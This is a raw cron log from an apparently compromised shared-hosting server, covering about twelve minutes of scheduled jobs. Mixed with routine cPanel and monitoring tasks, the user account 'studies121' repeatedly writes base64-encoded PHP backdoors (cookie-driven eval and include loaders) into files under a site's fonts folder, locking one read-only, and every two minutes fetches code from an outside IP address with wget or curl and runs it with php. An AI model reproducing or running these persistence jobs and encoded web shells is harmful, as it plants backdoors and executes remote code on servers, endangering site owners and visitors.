Sep 12 05:17:01 ip-184-168-122-23 CROND[1999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:18:01 ip-184-168-122-23 CROND[2137]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:18:01 ip-184-168-122-23 CROND[2141]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 05:18:01 ip-184-168-122-23 CROND[2140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:18:01 ip-184-168-122-23 CROND[2142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:18:01 ip-184-168-122-23 CROND[2139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:19:01 ip-184-168-122-23 CROND[2250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:19:01 ip-184-168-122-23 CROND[2249]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:19:01 ip-184-168-122-23 CROND[2251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:19:01 ip-184-168-122-23 CROND[2252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:20:01 ip-184-168-122-23 CROND[2359]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 05:20:01 ip-184-168-122-23 CROND[2361]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 05:20:01 ip-184-168-122-23 CROND[2363]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 05:20:01 ip-184-168-122-23 CROND[2365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:20:01 ip-184-168-122-23 CROND[2367]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:20:01 ip-184-168-122-23 CROND[2368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:20:01 ip-184-168-122-23 CROND[2366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:20:01 ip-184-168-122-23 CROND[2370]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 05:20:01 ip-184-168-122-23 CROND[2364]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 05:21:01 ip-184-168-122-23 CROND[2600]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:21:01 ip-184-168-122-23 CROND[2603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:21:01 ip-184-168-122-23 CROND[2602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:21:02 ip-184-168-122-23 CROND[2604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:22:01 ip-184-168-122-23 CROND[2691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:22:01 ip-184-168-122-23 CROND[2694]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 05:22:01 ip-184-168-122-23 CROND[2693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:22:01 ip-184-168-122-23 CROND[2696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:22:01 ip-184-168-122-23 CROND[2695]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:23:01 ip-184-168-122-23 CROND[2810]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:23:01 ip-184-168-122-23 CROND[2812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:23:01 ip-184-168-122-23 CROND[2813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:23:01 ip-184-168-122-23 CROND[2814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:24:01 ip-184-168-122-23 CROND[2917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:24:01 ip-184-168-122-23 CROND[2925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:24:01 ip-184-168-122-23 CROND[2920]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 05:24:01 ip-184-168-122-23 CROND[2923]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:24:01 ip-184-168-122-23 CROND[2922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:25:01 ip-184-168-122-23 CROND[3047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:25:01 ip-184-168-122-23 CROND[3050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:25:01 ip-184-168-122-23 CROND[3052]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 05:25:01 ip-184-168-122-23 CROND[3051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:25:01 ip-184-168-122-23 CROND[3049]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 05:25:01 ip-184-168-122-23 CROND[3054]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:26:01 ip-184-168-122-23 CROND[3265]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:26:01 ip-184-168-122-23 CROND[3270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:26:01 ip-184-168-122-23 CROND[3268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:26:01 ip-184-168-122-23 CROND[3267]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 05:26:01 ip-184-168-122-23 CROND[3269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:27:01 ip-184-168-122-23 CROND[3378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:27:01 ip-184-168-122-23 CROND[3381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:27:01 ip-184-168-122-23 CROND[3380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:27:01 ip-184-168-122-23 CROND[3382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:28:01 ip-184-168-122-23 CROND[3485]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 05:28:01 ip-184-168-122-23 CROND[3488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:28:01 ip-184-168-122-23 CROND[3486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:28:01 ip-184-168-122-23 CROND[3487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:28:01 ip-184-168-122-23 CROND[3489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:29:01 ip-184-168-122-23 CROND[3612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:29:01 ip-184-168-122-23 CROND[3614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:29:01 ip-184-168-122-23 CROND[3613]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:29:01 ip-184-168-122-23 CROND[3615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
